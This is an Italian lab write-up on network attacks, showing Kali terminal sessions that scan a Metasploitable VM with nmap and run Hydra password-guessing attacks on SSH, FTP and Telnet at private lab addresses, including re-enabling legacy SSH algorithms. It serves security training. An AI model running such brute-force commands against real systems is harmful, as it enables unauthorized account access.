4. La fase di exploit: Gli attacchi alle Reti

Esercizio guidato SSH

Creazione nuovo utente.

```
┌──(kali㉿kali)-[~]
└─$ sudo adduser test_user
[sudo] password di kali:
Aggiunta dell'utente «test_user» ...
Aggiunta del nuovo gruppo «test_user» (1001) ...
Adding new user `test_user' (1001) with group `test_user (1001)' ...
Creazione della directory home «/home/test_user» ...
Copia dei file da «/etc/skel» ...
Nuova password:
Reimmettere la nuova password:
passwd: password aggiornata correttamente
Modifica delle informazioni relative all'utente test_user
Inserire il nuovo valore o premere INVIO per quello predefinito
        Nome completo []:
        Stanza n° []:
        Numero telefonico di lavoro []:
        Numero telefonico di casa []:
        Altro []:
Le informazioni sono corrette? [S/n]
Adding new user `test_user' to supplemental / extra groups `users' ...
Aggiunta dell'utente «test_user» al gruppo «users» ...
```

Attacco hydra del servizio ssh conoscendo le credenziali di accesso.

```
┌──(test_user㉿kali)-[~]
└─$ hydra -l kali -p kali 192.168.50.100 -t4 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in militar
y or secret service organizations, or for illegal purposes (this is non-binding, thes
e *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 14:03:15
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per tas
k
[DATA] attacking ssh://192.168.50.100:22/
[22][ssh] host: 192.168.50.100   login: kali   password: kali
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 14:03:15
```

SSH da Kali a Kali tramite file contenenti username e password .

```
┌──(kali㉿kali)-[~/Scrivania]
└─$ hydra -L user.txt -P passwd.txt 192.168.50.100 -t4 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in militar
y or secret service organizations, or for illegal purposes (this is non-binding, thes
e *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 14:23:38
[DATA] max 4 tasks per 1 server, overall 4 tasks, 256 login tries (l:8/p:32), ~64 tri
es per task
[DATA] attacking ssh://192.168.50.100:22/
[STATUS] 40.00 tries/min, 40 tries in 00:01h, 216 to do in 00:06h, 4 active
[22][ssh] host: 192.168.50.100   login: test_user   password: testpass
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
```

FTP da Kali a Kali

- installazione servizio ftp **sudo app Install vsfptd**
- Avvio del servizio **sudo service vsftpd**

```
┌──(kali㉿kali)-[~/Scrivania]
└─$ hydra -L user.txt -P passwd.txt 192.168.50.100 -t4 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or sec
ret service organizations, or for illegal purposes (this is non-binding, these *** ignore law
s and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 14:41:53
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from
a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 256 login tries (l:8/p:32), ~64 tries per t
ask
[DATA] attacking ftp://192.168.50.100:21/
[STATUS] 68.00 tries/min, 68 tries in 00:01h, 188 to do in 00:03h, 4 active
[21][ftp] host: 192.168.50.100   login: test_user   password: testpass
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
```

Metasploitable

Scansione meta con nmap

```
┌──(kali㉿kali)-[~/Scrivania]
└─$ sudo nmap -sS 192.168.50.101
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-02 14:51 CET
Nmap scan report for 192.168.50.101
Host is up (0.00086s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 5E:3D:A7:78:8B:81 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 13.23 seconds
```

FTP Meta

```
┌──(kali㉿kali)-[~/Scrivania]
└─$ hydra -L user.txt -P passwd.txt 192.168.50.101 -t4 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or sec
ret service organizations, or for illegal purposes (this is non-binding, these *** ignore law
s and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 14:53:04
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from
a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 297 login tries (l:9/p:33), ~75 tries per t
ask
[DATA] attacking ftp://192.168.50.101:21/
[STATUS] 72.00 tries/min, 72 tries in 00:01h, 225 to do in 00:04h, 4 active
[21][ftp] host: 192.168.50.101   login: msfadmin   password: msfadmin
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
```

Telnet Meta

Fa il controllo ma non riesce a trovare la password

```
┌──(kali㉿kali)-[~/Scrivania]
└─$ hydra -l msfadmin -P passwd.txt 192.168.50.101 -t4 telnet
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret
service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and et
hics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 16:16:49
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc.
 if available
[DATA] max 4 tasks per 1 server, overall 4 tasks, 33 login tries (l:1/p:33), ~9 tries per task
[DATA] attacking telnet://192.168.50.101:23/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 16:17:26
```

SSH Meta

```
┌──(kali㉿kali)-[~/Scrivania]
└─$ hydra -l msfadmin -P passwd.txt -t 8 192.168.50.101 ssh

Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or sec
ret service organizations, or for illegal purposes (this is non-binding, these *** ignore law
s and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 15:31:35
[DATA] max 8 tasks per 1 server, overall 8 tasks, 33 login tries (l:1/p:33), ~5 tries per tas
k
[DATA] attacking ssh://192.168.50.101:22/
[ERROR] could not connect to ssh://192.168.50.101:22 - kex error : no match for method server
 host key algo: server [ssh-rsa,ssh-dss], client [ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-
nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256]
```

Nell’attacco seguente il key algo del serve e del client non sono compatibili.

Risoluzione del problema

```
┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt full-upgrade -y
[sudo] password di kali:
Scaricamento di:1 http://kali.download/kali kali-rolling InRelease [41,2 kB]
Scaricamento di:2 http://kali.download/kali kali-rolling/main arm64 Packages [19,2 MB]
Scaricamento di:3 http://kali.download/kali kali-rolling/main arm64 Contents (deb) [44,5 MB]
Scaricamento di:4 http://kali.download/kali kali-rolling/contrib arm64 Packages [94,3 kB]
Scaricamento di:5 http://kali.download/kali kali-rolling/contrib arm64 Contents (deb) [142 kB
]
Scaricamento di:6 http://kali.download/kali kali-rolling/non-free arm64 Packages [182 kB]
Scaricamento di:7 http://kali.download/kali kali-rolling/non-free arm64 Contents (deb) [884 k
B]
Recuperati 65,0 MB in 10s (6.329 kB/s)
Lettura elenco dei pacchetti... Fatto
Generazione albero delle dipendenze... Fatto
Lettura informazioni sullo stato... Fatto
507 pacchetti possono essere aggiornati: eseguire "apt list --upgradable" per vederli.
Lettura elenco dei pacchetti... Fatto
Generazione albero delle dipendenze... Fatto
Lettura informazioni sullo stato... Fatto
Calcolo dell'aggiornamento... Fatto
I seguenti pacchetti sono stati installati automaticamente e non sono più richiesti:
  faraday-client libgs9-common libmpdec3 libnginx-mod-http-geoip
  libnginx-mod-http-image-filter libnginx-mod-http-xslt-filter libnginx-mod-mail
  libnginx-mod-stream libnginx-mod-stream-geoip libpython3.10 libpython3.10-dev
  libpython3.10-minimal libpython3.10-stdlib libtiff5 nginx-common nginx-core
  python-mpltoolkits.basemap-data python3-commonmark python3-deprecation python3-pyproj
  python3-pyshp python3.10 python3.10-dev python3.10-minimal
Usare "sudo apt autoremove" per rimuoverli.
I seguenti pacchetti saranno RIMOSSI:
  faraday-angular-frontend libapache2-mod-php8.1 libgs9 libqtermwidget5-0
  mariadb-client-10.6 mariadb-client-core-10.6 mariadb-server-10.6 mariadb-server-core-10.6
```

```
┌──(kali㉿kali)-[~]
└─$ dpkg -l | grep kali-tweaks
ii  kali-tweaks                          2023.1.4                        all
tool to adjust advanced configuration settings for Kali Linux

┌──(kali㉿kali)-[~]
└─$ kali-tweaks -h
>>> Configuring SSH
> Enabling wide compatibility
> Writing changes to /etc/ssh/ssh_config.d/kali-wide-compat.conf

┌(Message from Kali developers)
  For more information about SSH configuration, please refer to:
  https://www.kali.org/docs/general-use/ssh-configuration/
└

> Press Enter to continue...
```

SSH Meta

```
┌──(kali㉿kali)-[~/Scrivania]
└─$ hydra -l msfadmin -P passwd.txt 192.168.50.101 -t4 ssh -V
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or sec
ret service organizations, or for illegal purposes (this is non-binding, these *** ignore law
s and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-02 15:55:41
[DATA] max 4 tasks per 1 server, overall 4 tasks, 33 login tries (l:1/p:33), ~9 tries per tas
k
[DATA] attacking ssh://192.168.50.101:22/
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456" - 1 of 33 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password" - 2 of 33 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345" - 3 of 33 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456789" - 4 of 33 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "sploitme" - 5 of 33 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "iloveyou" - 6 of 33 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "princess" - 7 of 33 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345678" - 8 of 33 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234567" - 9 of 33 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "abc123" - 10 of 33 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "nicole" - 11 of 33 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "daniel" - 12 of 33 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "monkey" - 13 of 33 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "babygirl" - 14 of 33 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "qwerty" - 15 of 33 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "lovely" - 16 of 33 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "654321" - 17 of 33 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "michael" - 18 of 33 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 19 of 33 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "kali" - 20 of 33 [child 2] (0/0)
[22][ssh] host: 192.168.50.101   login: msfadmin   password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-02 15:56:12
```